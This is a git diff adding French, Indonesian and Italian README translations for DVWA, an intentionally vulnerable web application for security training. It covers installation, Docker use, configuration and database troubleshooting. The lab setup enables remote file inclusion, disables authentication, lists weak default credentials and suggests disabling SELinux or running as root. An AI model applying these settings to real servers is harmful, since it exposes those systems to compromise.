d'erreurs ouvert et/ou fermés dans le dépôt git: + + +Avant d'envoyer un rapport, soyez-sûr que vous utilisez la dernière version du code du dépôt. Pas que la dernière version, mais aussi les derniers codes de la branche maîtresse (master). + +Si vous envoyez un rapport, renseignez ces informations: +- Système d'exploitation +- Les cinq dernières lignes du journal (log) du serveur web juste après la déclaration de votre erreur +- Si c'est un problème de connection à la base de données, effectuées les étapes renseignées au dessus et faites une capture d'écran de chacune d'entre elles, et du fichier de configuration contenant vos identifiants. +- une description détaillée de ce qui ne va pas, ce que vous éspèreriez qu'il arrive, et comment vous avez essayé de résoudre le problème. "problème de connection" n'est pas assez détaillé pour nous aidez à résoudre votre problème. +- - - + +## Injection SQL SQLite3 + +_Le support pour cette section est limitée, avant d'envoyer un rapport d'erreur, soyez préparé à faire un déboguage, ne déclarez pas juste "ça marche pas !"._ + +Par défaut, SQLi et Blind SQLi sont exécutés sur les serveurs MariaDB/MySQL utilisés par le site mais il est possible de basculer vers des tests SQLi sur SQLite3 à la place. + +Je ne vais pas vous montrer comment fonctionne SQLite3 avec PHP, mais juste un exemple d'installation de `php-sqlite3` et d'être sûr qu'il soit actif. +Pour faire ce changement éditez le fichier de configuration et éditez ces lignes: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` +Par défaut, ça utilise le fichier `database/sqli.db`, si vous vous gourrez, copiez `database/sqli.db.dist` par dessus. + +Le challenge est le même pour MySQL, il sont juste antagoniste à SQLite3. +- - - + +## Liens + +Dépôt GitHub: + +Créé par l'équipe BAWV. diff --git a/DVWA/README.id.md b/DVWA/README.id.md new file mode 100644 index 00000000..69fc9b00 --- /dev/null +++ b/DVWA/README.id.md @@ -0,0 +1,551 @@ +# DAMN VULNERABLE WEB APPLICATION / APLIKASI WEB YANG RENTAN TERHADAP ANCAMAN + +Damn Vulnerable Web Application (DVWA) atau yang dapat diartikan sebagai Aplikasi Web Yang Rentan Terhadap Ancaman merupakan aplikasi web berbasis PHP/MySQL yang sangat rentan. +Tujuan utamanya adalah menjadi alat bantu bagi para profesional keamanan untuk menguji keterampilan dan alat mereka dalam lingkungan hukum. +DVWA juga bertujuan membantu pengembang web memahami proses pengamanan aplikasi web serta memberikan dukungan bagi siswa dan guru untuk mempelajari keamanan aplikasi web dalam lingkungan kelas yang terkendali. + +Tujuan dari DVWA adalah **melatih pengguna dalam menghadapi beberapa kerentanan web paling umum** dengan **berbagai tingkat kesulitan**, yang disajikan melalui antarmuka yang sederhana dan langsung. Harap dicatat bahwa **ada kerentanan yang didokumentasikan dan tidak didokumentasikan** dalam perangkat lunak ini. Hal ini sengaja dilakukan untuk mendorong pengguna mencoba dan menemukan sebanyak mungkin masalah. + +## PERINGATAN + +Damn Vulnerable Web Application sangat rentan! **Jangan mengunggahnya ke folder html publik penyedia hosting Anda atau server yang terhubung langsung ke internet** karena dapat mengakibatkan kompromi keamanan. +Disarankan untuk menggunakan mesin virtual (seperti [VirtualBox](https://www.virtualbox.org/) atau [VMware](https://www.vmware.com/)), yang diatur dalam mode jaringan NAT. +Di dalam mesin virtual, Anda dapat mengunduh dan menginstal [XAMPP](https://www.apachefriends.org/) untuk web server dan database. + +### Penyangkalan + +Kami tidak bertanggung jawab atas cara penggunaan aplikasi ini (DVWA) oleh siapa pun. +Tujuan dari aplikasi ini telah kami jelaskan dan seharusnya tidak digunakan dengan niat jahat. +Kami telah memberikan peringatan dan mengambil langkah-langkah untuk mencegah pengguna menginstal DVWA di server web aktif secara langsung. +Jika server web Anda terpengaruh melalui instalasi DVWA, itu bukan tanggung jawab kami melainkan tanggung jawab orang/orang yang mengunggah dan menginstalnya. + +- - - + +## Lisensi + +Berkas ini merupakan bagian dari Damn Vulnerable Web Application (DVWA). + +Damn Vulnerable Web Application (DVWA) adalah perangkat lunak bebas: Anda dapat mendistribusikannya dan/atau mengubahnya +sesuai dengan ketentuan Lisensi Umum GNU yang diterbitkan oleh +Free Software Foundation, versi 3 Lisensi, atau +(pilihan Anda) versi selanjutnya. + +Damn Vulnerable Web Application (DVWA) didistribusikan dengan harapan akan bermanfaat, +tetapi TANPA GARANSI APA PUN; tanpa garansi tersirat pun +DAGANG atau SESUAI UNTUK TUJUAN TERTENTU. Lihat +Lisensi Umum GNU untuk lebih banyak detail. + +Anda seharusnya telah menerima salinan Lisensi Umum GNU bersama dengan Damn Vulnerable Web Application (DVWA). Jika tidak, lihat . + +- - - + +## Internasionalisasi + +Berkas ini tersedia dalam beberapa bahasa: +- Arab: [العربية](README.ar.md) +- Tiongkok: [简体中文](README.zh.md) +- Perancis: [Français](README.fr.md) +- Persia: [فارسی](README.fa.md) +- Portugis: [Português](README.pt.md) +- Spanyol: [Español](README.es.md) +- Turki: [Türkçe](README.tr.md) +- Indonesia: [id](README.id.md) + +Jika Anda ingin berkontribusi dengan terjemahan, silakan kirimkan PR (Permintaan Tarik). +Namun perlu diperhatikan, ini bukan berarti hanya menjalankannya melalui Google Translate dan mengirimkannya, karena itu akan ditolak. +Kirimkan versi terjemahan Anda dengan menambahkan file baru 'README.xx.md' di mana xx adalah kode dua huruf dari bahasa yang Anda inginkan (berdasarkan [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)). + +- - - + +## Unduh + +Meskipun terdapat berbagai versi DVWA, satu-satunya versi yang didukung adalah sumber terbaru dari repositori resmi GitHub. +Anda dapat mengklonnya dari repositori: +`git clone https://github.com/digininja/DVWA.git` + +Atau [unduh arsip ZIP dari file-file](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Instalasi + +### Video Instalasi + +- [Instalasi DVWA di Kali yang berjalan di VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Instalasi DVWA di Windows menggunakan XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Instalasi Damn Vulnerable Web Application (DVWA) di Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +Cara paling mudah untuk menginstal DVWA adalah dengan mengunduh dan menginstal [XAMPP](https://www.apachefriends.org/) jika Anda belum memiliki pengaturan server web. +XAMPP adalah Distribusi Apache yang sangat mudah diinstal untuk Linux, Solaris, Windows, dan Mac OS X. Paket ini mencakup server web Apache, MySQL, PHP, Perl, server FTP, dan phpMyAdmin. +[Video ini](https://youtu.be/Yzksa_WjnY0) memandu Anda melalui proses instalasi untuk Windows, tetapi seharusnya serupa untuk OS lainnya. + +### Docker + +Terima kasih kepada [hoang-himself](https://github.com/hoang-himself) dan [JGillam](https://github.com/JGillam), setiap commit ke cabang `master` menyebabkan pembangunan Docker image dan siap untuk diunduh dari GitHub Container Registry. + +Untuk informasi lebih lanjut tentang apa yang Anda dapatkan, Anda dapat menjelajahi [Docker images yang sudah dibangun sebelumnya](https://github.com/digininja/DVWA/pkgs/container/dvwa). + +#### Memulai + +Prasyarat: Docker dan Docker Compose. + +- Jika Anda menggunakan Docker Desktop, keduanya seharusnya sudah terinstal. +- Jika Anda lebih memilih Docker Engine di Linux, pastikan untuk mengikuti [panduan instalasi mereka](https://docs.docker.com/engine/install/#server). + +**Kami memberikan dukungan untuk rilis Docker terbaru seperti yang ditunjukkan di atas.** +Jika Anda menggunakan Linux dan paket Docker yang disertakan dengan pengelola paket Anda, kemungkinan besar juga akan berfungsi, tetapi dukungan akan berusaha sebaik mungkin. + +Memperbarui Docker dari versi paket manajer ke upstream memerlukan penghapusan versi lama seperti yang terlihat dalam panduan mereka untuk [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions), dan lainnya. +Data Docker Anda (container, gambar, volume, dll.) seharusnya tidak terpengaruh, tetapi jika Anda mengalami masalah, pastikan untuk [memberi tahu Docker](https://www.docker.com/support) dan gunakan mesin pencari dalam waktu yang bersamaan. + +Kemudian, untuk memulai: + +1. Jalankan `docker version` dan `docker compose version` untuk melihat apakah Docker dan Docker Compose terinstal dengan benar. Anda seharusnya dapat melihat versi mereka dalam output. + + Contoh: + + ```text + >>> docker version + Client: + [...] + Version: 23.0.5 + [...] + + Server: Docker Desktop 4.19.0 (106363) + Engine: + [...] + Version: 23.0.5 + [...] + + >>> docker compose version + Docker Compose version v2.17.3 + ``` + + Jika Anda tidak melihat apa-apa atau mendapatkan pesan kesalahan "command not found" ikuti prasyarat untuk menyiapkan Docker dan Docker Compose. + +2. Klon atau unduh repositori ini dan ekstrak (lihat [Unduh](#unduh)). +3. Buka terminal pilihan Anda dan ubah direktori kerjanya ke dalam folder ini (`DVWA`). +4. Jalankan `docker compose up -d`. + +DVWA sekarang tersedia di `http://localhost:4280`. + +**Perhatikan bahwa untuk menjalankan DVWA dalam kontainer, server web mendengarkan port 4280 daripada port biasa 80.** +Untuk informasi lebih lanjut mengenai keputusan ini, lihat [Saya ingin menjalankan DVWA di port yang berbeda](#i-want-to-run-dvwa-on-a-different-port). + +#### Pembangunan Lokal + +Jika Anda melakukan perubahan lokal dan ingin membangun proyek dari lokal, buka `compose.yml` dan ubah `pull_policy: always` menjadi `pull_policy: build`. + +Menjalankan `docker compose up -d` seharusnya akan memicu Docker untuk membangun gambar dari lokal tanpa memperdulikan apa yang tersedia di registri. + +Lihat juga: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +### Paket-paket Linux + +Jika Anda menggunakan distribusi Linux berbasis Debian, Anda perlu menginstal paket-paket berikut _(atau yang setara)_: + +- apache2 +- libapache2-mod-php` +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +Saya sarankan melakukan pembaruan sebelumnya, agar Anda memastikan mendapatkan versi terbaru dari semuanya. +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` +Situs akan berfungsi dengan MySQL alih-alih MariaDB, tetapi kami sangat menyarankan MariaDB karena berfungsi tanpa masalah sedangkan Anda harus melakukan perubahan agar MySQL dapat berfungsi dengan benar. + +## Konfigurasi + +### Berkas Konfigurasi + +DVWA disertakan dengan salinan palsu dari berkas konfigurasinya yang perlu Anda salin dan lakukan perubahan yang sesuai. Pada Linux, bila Anda berada di direktori DVWA, langkah ini dapat dilakukan seperti berikut: + +`cp config/config.inc.php.dist config/config.inc.php` + +Pada Windows, langkah ini mungkin sedikit lebih sulit jika ekstensi file disembunyikan. Jika Anda tidak yakin mengenai hal ini, blog post berikut menjelaskan lebih lanjut: + +[Cara Membuat Windows Menampilkan Ekstensi File](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Pengaturan Database + +Untuk mengatur database, cukup klik tombol `Setup DVWA` di menu utama, kemudian klik tombol `Create / Reset Database`. Ini akan membuat/mereset database untuk Anda dengan beberapa data di dalamnya. + +Jika Anda menerima pesan kesalahan saat mencoba membuat database Anda, pastikan kredensial database Anda benar dalam `./config/config.inc.php`. *Ini berbeda dari config.inc.php.dist, yang merupakan berkas contoh.* + +Variabel-variabelnya diatur secara default sebagai berikut: +``` +$_DVWA['db_server'] = '127.0.0.1'; +$_DVWA['db_port'] = '3306'; +$_DVWA['db_user'] = 'dvwa'; +$_DVWA['db_password'] = 'p@ssw0rd'; +$_DVWA['db_database'] = 'dvwa'; +``` + +Perhatikan, jika Anda menggunakan MariaDB daripada MySQL (MariaDB adalah default di Kali), maka Anda tidak dapat menggunakan pengguna root database, Anda harus membuat pengguna database baru. Untuk melakukannya, sambungkan ke database sebagai pengguna root kemudian gunakan perintah-perintah berikut: +``` +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Menonaktifkan Otentikasi + +Beberapa alat tidak berfungsi dengan baik dengan otentikasi sehingga tidak dapat digunakan dengan DVWA. Untuk mengatasi ini, ada opsi konfigurasi untuk menonaktifkan pemeriksaan otentikasi. Untuk melakukannya, cukup atur yang berikut dalam berkas konfigurasi: + +``` +$_DVWA['disable_authentication'] = true; +``` + +Anda juga perlu mengatur tingkat keamanan ke tingkat yang sesuai dengan pengujian yang ingin Anda lakukan: +``` +$_DVWA['default_security_level'] = 'low'; +``` + +Dalam kondisi ini, Anda dapat mengakses semua fitur tanpa perlu masuk dan mengatur cookie apapun. + +### Izin Folder + +* `./hackable/uploads/` - Perlu dapat ditulisi oleh layanan web (untuk Unggahan File). + +### Konfigurasi PHP + +Pada sistem Linux, kemungkinan ditemukan di `/etc/php/x.x/fpm/php.ini` atau `/etc/php/x.x/apache2/php.ini`. + +* Untuk mengizinkan Remote File Inclusions (RFI): + * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] + +* Untuk memastikan PHP menampilkan semua pesan kesalahan: + * `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + * `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)] + +Pastikan Anda me-restart layanan php atau Apache setelah melakukan perubahan. + +### reCAPTCHA + +Ini hanya diperlukan untuk lab "Insecure CAPTCHA", jika Anda tidak bermain dengan lab tersebut, Anda dapat mengabaikan bagian ini. + +Buat sepasang kunci API dari . + +Kemudian masukkan kunci-kunci tersebut ke bagian-bagian berikut di dalam `./config/config.inc.php`: + +* `$_DVWA['recaptcha_public_key']` +* `$_DVWA['recaptcha_private_key']` + +### Kredensial Default + +**Username default = `admin`** + +**Password default = `password`** + +_...dapat dengan mudah di-brute force ;)_ + +URL Login: http://127.0.0.1/login.php + +_Catatan: Ini akan berbeda jika Anda menginstal DVWA ke direktori yang berbeda._ + +## Pemecahan Masalah + +Asumsi ini berlaku jika Anda menggunakan distribusi berbasis Debian, seperti Debian, Ubuntu, dan Kali. Untuk distribusi lainnya, ikuti langkah-langkah ini, tetapi perbarui perintah sesuai kebutuhan. + +### Kontainer + +#### Saya ingin mengakses log + +Jika Anda menggunakan Docker Desktop, log dapat diakses dari aplikasi grafis. +Beberapa detail kecil mungkin berubah dengan versi terbaru, tetapi metode akses seharusnya tetap sama. + +![Overview of DVWA compose](./docs/graphics/docker/overview.png) + +![Viewing DVWA logs](docs/graphics/docker/detail.png) + +Log juga dapat diakses dari terminal. + +1. Buka terminal dan ubah direktori kerjanya ke DVWA. +2. Tampilkan log yang telah digabungkan. + + ``` + docker compose logs + ``` + + Jika Anda ingin mengekspor log ke file, misalnya `dvwa.log` + + ``` + docker compose logs >dvwa.log + ``` + +#### Saya ingin menjalankan DVWA di port yang berbeda + +Kami tidak menggunakan port 80 secara default karena beberapa alasan: + +- Beberapa pengguna mungkin sudah menjalankan sesuatu di port 80. +- Beberapa pengguna mungkin menggunakan mesin kontainer tanpa hak istimewa (seperti Podman), dan 80 adalah port yang memerlukan hak istimewa (< 1024). Konfigurasi tambahan (misalnya, pengaturan `net.ipv4.ip_unprivileged_port_start`) diperlukan, tetapi Anda harus melakukan penelitian sendiri. + +Anda dapat mengekspos DVWA di port yang berbeda dengan mengubah ikatan port dalam berkas `compose.yml`. +Sebagai contoh, Anda dapat mengubah + +``` +ports: + - 127.0.0.1:4280:80 +``` + +Menjadi + +``` +ports: + - 127.0.0.1:8806:80 +``` + +DVWA sekarang dapat diakses di `http://localhost:8806`. + +#### DVWA Mulai Otomatis Saat Docker Berjalan + +Berkas [`compose.yml`](./compose.yml) yang disertakan secara otomatis menjalankan DVWA dan basis data ketika Docker berjalan. + +Untuk menonaktifkan ini, Anda dapat menghapus atau mengomentari baris `restart: unless-stopped` dalam berkas [`compose.yml`](./compose.yml). + +Jika Anda ingin menonaktifkan perilaku ini secara sementara, Anda dapat menjalankan `docker compose stop`, atau menggunakan Docker Desktop, temukan `dvwa` dan klik Stop. +Selain itu, Anda dapat menghapus kontainer atau menjalankan `docker compose down`. + +### Berkas Log + +Pada sistem Linux, Apache secara default menghasilkan dua berkas log, `access.log` dan `error.log`, dan pada sistem berbasis Debian biasanya berada di `/var/log/apache2/`. + +Ketika mengirimkan laporan kesalahan, masalah, atau hal lainnya, harap sertakan setidaknya lima baris terakhir dari masing-masing berkas ini. Pada sistem berbasis Debian, Anda dapat mendapatkannya seperti ini: +``` +tail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log +``` + +### Saya mencoba membuka situs dan mendapatkan 404 + +Jika Anda mengalami masalah ini, Anda perlu memahami lokasi berkas. Secara default, root dokumen Apache (tempat mulai mencari konten web) adalah `/var/www/html`. Jika Anda meletakkan berkas `hello.txt` di direktori ini, untuk mengaksesnya, Anda akan membuka `http://localhost/hello.txt`. + +Jika Anda membuat direktori dan meletakkan berkas di dalamnya - `/var/www/html/mydir/hello.txt` - Anda kemudian perlu membuka `http://localhost/mydir/hello.txt`. + +Linux secara default bersifat case-sensitive, sehingga dalam contoh di atas, jika Anda mencoba membuka salah satu dari ini, Anda akan mendapatkan `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +Bagaimana ini memengaruhi DVWA? Kebanyakan orang menggunakan git untuk mengecek DVWA ke dalam `/var/www/html`, ini memberi mereka direktori `/var/www/html/DVWA/` dengan semua berkas DVWA di dalamnya. Mereka kemudian membuka `http://localhost/` dan mendapatkan entah `404` atau halaman selamat datang Apache default. Karena berkas berada di DVWA, Anda harus membuka `http://localhost/DVWA`. + +Kesalahan umum lainnya adalah membuka `http://localhost/dvwa` yang akan memberikan `404` karena `dvwa` bukanlah `DVWA` yang dianggap oleh pencocokan direktori Linux. + +Jadi setelah instalasi, jika Anda mencoba mengunjungi situs dan mendapatkan `404`, pertimbangkan di mana Anda menginstal berkas tersebut, di mana berkas tersebut relatif terhadap root dokumen, dan apa huruf kecil dan besar dari direktori yang Anda gunakan. + +### "Access denied" saat menjalankan setup + +Jika Anda melihat pesan berikut saat menjalankan skrip setup, itu berarti nama pengguna atau kata sandi dalam berkas konfigurasi tidak sesuai dengan yang dikonfigurasi pada basis data: +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +Error ini memberi tahu Anda bahwa Anda menggunakan nama pengguna `notdvwa`. + +Error berikut mengatakan bahwa Anda telah menunjuk berkas konfigurasi ke basis data yang salah. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +Ini mengatakan bahwa Anda menggunakan pengguna `dvwa` dan mencoba terhubung ke basis data `notdvwa`. + +Hal pertama yang harus dilakukan adalah memeriksa kembali apakah yang Anda kira telah dimasukkan ke dalam berkas konfigurasi sesuai dengan yang sebenarnya ada di sana. + +Jika sesuai dengan harapan Anda, langkah berikutnya adalah memeriksa apakah Anda dapat masuk sebagai pengguna tersebut melalui baris perintah. Mengasumsikan Anda memiliki pengguna basis data `dvwa` dan kata sandi `p@ssw0rd`, jalankan perintah berikut: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*Catatan: Tidak ada spasi setelah -p* + +Jika Anda melihat yang berikut, kata sandi sudah benar: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +Seiring terhubung melalui baris perintah, kemungkinan ada kesalahan dalam berkas konfigurasi. Periksa kembali dan laporkan masalah jika Anda masih belum bisa membuat semuanya berfungsi. + +Jika Anda melihat yang berikut, nama pengguna atau kata sandi yang Anda gunakan salah. Ulangi langkah-langkah [Database Setup](#database-setup) dan pastikan Anda menggunakan nama pengguna dan kata sandi yang sama sepanjang proses. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +Jika Anda mendapatkan yang berikut, kredensial pengguna benar tetapi pengguna tidak memiliki akses ke basis data. Sekali lagi, ulangi langkah-langkah setup dan periksa nama basis data yang Anda gunakan. +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +Kesalahan yang mungkin Anda dapatkan adalah ini: +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Ini bukan masalah otentikasi tetapi memberi tahu Anda bahwa server basis data tidak berjalan. Mulailah dengan perintah berikut: +``` +sudo service mysql start +``` + +### Metode otentikasi tidak dikenal + +Dengan versi MySQL terbaru, PHP tidak lagi dapat berkomunikasi dengan basis data dalam konfigurasi default. Jika Anda mencoba menjalankan skrip setup dan mendapatkan pesan berikut, itu berarti Anda memiliki konfigurasi. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +Anda memiliki dua pilihan, yang paling mudah adalah menghapus MySQL dan menginstal MariaDB. Berikut adalah panduan resmi dari proyek MariaDB: + + +Sebagai alternatif, ikuti langkah-langkah berikut: + +1. Sebagai root, edit berkas berikut: `/etc/mysql/mysql.conf.d/mysqld.cnf` + +2. Di bawah baris [mysqld], tambahkan baris berikut: + ```default-authentication-plugin=mysql_native_password``` +3. Restart database: ```sudo service mysql restart``` +4. Periksa metode autentikasi untuk pengguna database Anda: + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` +5. Kemungkinan besar Anda akan melihat `caching_sha2_password`. Jika ya, jalankan perintah berikut: + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` +6. Menjalankan pemeriksaan ulang, seharusnya sekarang Anda akan melihat `mysql_native_password`. + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` +Setelah semua langkah tersebut, proses penyiapan seharusnya sekarang berjalan dengan normal. +Jika Anda ingin informasi lebih lanjut, lihat halaman berikut: . + +### Database Error #2002: Tidak ada file atau direktori yang sesuai. + +Server database tidak berjalan. Pada distribusi berbasis Debian, ini dapat dilakukan dengan perintah: +```sh +sudo service mysql start +``` + +### Errors "MySQL server has gone away" and "Packets out of order" + +Ada beberapa alasan mengapa Anda bisa mendapatkan kesalahan ini, tetapi yang paling mungkin adalah versi server basis data yang Anda jalankan tidak kompatibel dengan versi PHP. + +Ini biasanya terjadi ketika Anda menjalankan versi terbaru MySQL yang tidak selaras dengan PHP. Saran terbaik, ganti MySQL dengan menginstal MariaDB, karena ini bukan sesuatu yang dapat kami dukung. + +Untuk informasi lebih lanjut, lihat: + + + +### Perintah Injection tidak bekerja + +Apache mungkin tidak memiliki hak istimewa yang cukup untuk menjalankan perintah pada server web. Jika Anda menjalankan DVWA di bawah Linux, pastikan Anda masuk sebagai root. Di bawah Windows, masuk sebagai Administrator. + +### Database tidak terhubung pada CentOS? + +Anda mungkin mengalami masalah dengan SELinux. Matikan SELinux atau jalankan perintah berikut untuk mengizinkan web server berkomunikasi dengan basis data: +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Yang lainnya + +Untuk informasi pemecahan masalah terbaru, harap baca masalah terbuka dan yang sudah ditutup di repositori Git: + + + +Sebelum mengajukan tiket, pastikan Anda menjalankan versi terbaru kode dari repositori. Ini bukan versi terbaru yang dirilis, tetapi kode terbaru dari cabang master. + +Jika Anda mengajukan tiket, harap kirimkan setidaknya informasi berikut: + +- Sistem Operasi +- 5 baris terakhir dari log kesalahan server web segera setelah kesalahan yang Anda laporkan terjadi +- Jika ini adalah masalah otentikasi basis data, ikuti langkah-langkah di atas dan tangkap layar setiap langkah. Kirimkan ini bersama dengan tangkapan layar bagian file konfigurasi yang menunjukkan pengguna dan kata sandi basis data. +- Deskripsi lengkap tentang apa yang salah, apa yang Anda harapkan terjadi, dan apa yang sudah Anda coba lakukan untuk memperbaikinya. "login broken" tidak cukup bagi kami untuk memahami masalah Anda dan membantu memperbaikinya. + +- - - + +### Panduan + +Saya akan mencoba membuat beberapa video tutorial yang menguraikan beberapa kerentanan dan menunjukkan cara mendeteksinya, dan kemudian bagaimana cara mengeksploitasi mereka. Berikut adalah yang sudah saya buat sejauh ini: + +[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss) + +- - - + +## SQLite3 SQL Injection + +Dukungan untuk ini terbatas, sebelum mengajukan masalah, pastikan Anda siap untuk melakukan debug, jangan hanya mengklaim "tidak berfungsi". + +Secara default, SQLi dan Blind SQLi dilakukan terhadap server MariaDB/MySQL yang digunakan oleh situs, tetapi memungkinkan untuk beralih untuk melakukan pengujian SQLi terhadap SQLite3. + +Saya tidak akan membahas cara menggunakan SQLite3 dengan PHP, tetapi seharusnya cukup mudah dengan menginstal paket `php-sqlite3` dan memastikan bahwa paket tersebut diaktifkan. + +Untuk beralih, cukup edit file konfigurasi dan tambahkan atau edit baris-baris berikut: +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Secara default, program ini menggunakan file `database/sqli.db`. Jika Anda mengalami kesalahan, cukup salin file `database/sqli.db.dist` di atasnya. + +Tantangannya sama persis seperti untuk MySQL, hanya saja dijalankan dengan menggunakan SQLite3. + +- - - + +👨‍💻 Kontributor +----- + +Terima kasih atas semua kontribusi Anda dan menjaga proyek ini tetap terkini. :heart: + +Jika Anda memiliki ide, jenis perbaikan, atau hanya ingin berkolaborasi, Anda dipersilakan untuk berkontribusi dan berpartisipasi dalam Proyek ini. Jangan ragu untuk mengirimkan permintaan tautan (PR) Anda. +

+ + + +

+ +- - - + +## Tautan + +Beranda Proyek: + +*Dibuat oleh tim DVWA* diff --git a/DVWA/README.it.md b/DVWA/README.it.md new file mode 100644 index 00000000..c4d01269 --- /dev/null +++ b/DVWA/README.it.md @@ -0,0 +1,747 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA) è un'applicazione web PHP/MariaDB che è dannatamente vulnerabile. Il suo principale obiettivo è: essere d'aiuto a professionisti di sicurezza informatica per testare le loro skill e i loro strumenti in un ambiente legale,aiutare i web developers a mettere in sicurezza le web applications e aiutare sia studenti che docenti a capire la sicurezza delle web applications in un'ambiente controllato. + +L'obiettivo di DVWA è **praticare alcune tra le più comuni vulnerabilità web** con **vari livelli di difficoltà**e con una semplice e diretta interfaccia. È opportuno notare che sono presenti sia **vulnerabilità documentate e non documentate** con questo software. Questo è stato fatto intenzionalmente. Si è pregati di provare a scoprire più vulnerabilità possibili. +- - - + +## ATTENZIONE! + +Damn Vulnerable Web Application è dannatamente vulnerabile! **Non caricarla nella cartella contentente i file html del tuo provider di hosting né su alcun server accessibile da Internet** perché saranno compromessi. È raccomandato utilizzare una macchina virtuale (ad esempio [VirtualBox](https://www.virtualbox.org/) oppure [VMware](https://www.vmware.com/)), che sia settata su NAT modalità networking. Dentro una macchina guest, bisogna scaricare ed installare [XAMPP](https://www.apachefriends.org/) per il server web ed il database. + +### Disclaimer + +Non ci assumiamo la responsabilità del modo in cui verrà utilizzata questa applicazione (DVWA). L'obiettivo di questa applicazione è stato dichiarato in modo chiaro e non dovrebbe essere usata per altri scopi. Abbiamo avvisato e dato misure di sicurezza per fare in modo che gli utenti non installino DVWA nei loro live web servers. Se il tuo live web server è compromesso da un'installazione di DVWA, non è nostra responsabilità, è responsabilità della persona che ha caricato e installato il software. + +--- + +## Licensa + +Questo file è parte di Damn Vulnerable Web Application (DVWA). + +Vulnerable Web Application (DVWA). è un software libero: +si può ridistribuire e/o modificarlo sotto i termini del GNU General Public LIcense come pubblicato dalla Free Software Foundation, sia la versione 3 della licensa o qualsiasi versione posteriore. + +Damn Vulnerable Web Application (DVWA) è distribuito nella speranza che sarà utile, ma senza ALCUNA GARANZIA; neppure la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UNO SCOPO PARTICOLARE. Vedi la GNU General Public License per ulteriori dettagli. + +È necessario avere una copia del GNU General Public License assieme a Damn Vulnerable Web Application (DVWA). Altrimenti, vedere . + +- - - + +## Internazionalizzazione + +Questo file è disponibile in diverse lingue: + +- Arabo: [العربية](README.ar.md) +- Cinese: [简体中文](README.zh.md) +- Francese: [Français](README.fr.md) +- Coreano: [한국어](README.ko.md) +- Persiano: [فارسی](README.fa.md) +- Polacco: [Polski](README.pl.md) +- Portoghese: [Português](README.pt.md) +- Spagnolo: [Español](README.es.md) +- Turco: [Türkçe](README.tr.md) +- Indonesiano: [Indonesia](README.id.md) +- Vietnamita: [Vietnamese](README.vi.md) +- Italiano: [Italiano](README.it.md) + +Se si desidera contribuire ad una traduzione, si invii per favore una PR. Nota però: questo non significa semplicemente passare il testo su Google Translate e inviarlo, tali traduzioni verranno rifiutate. Invia la tua versione tradotta aggiungendo un nuovo file chiamato README.xx.md, dove xx è il codice a due lettere della lingua desiderata (basato sullo standard ISO 639-1). + +- - - + +## Download + +Anche se ci sono varie versione di DVWA in circolazione, l'unica supportata è l'ultima dal repository ufficiale di GitHub. Si può sia clonare dal repo: + +```sh +git clone https://github.com/digininja/DVWA.git +``` + +O [scaricare un ZIP dei 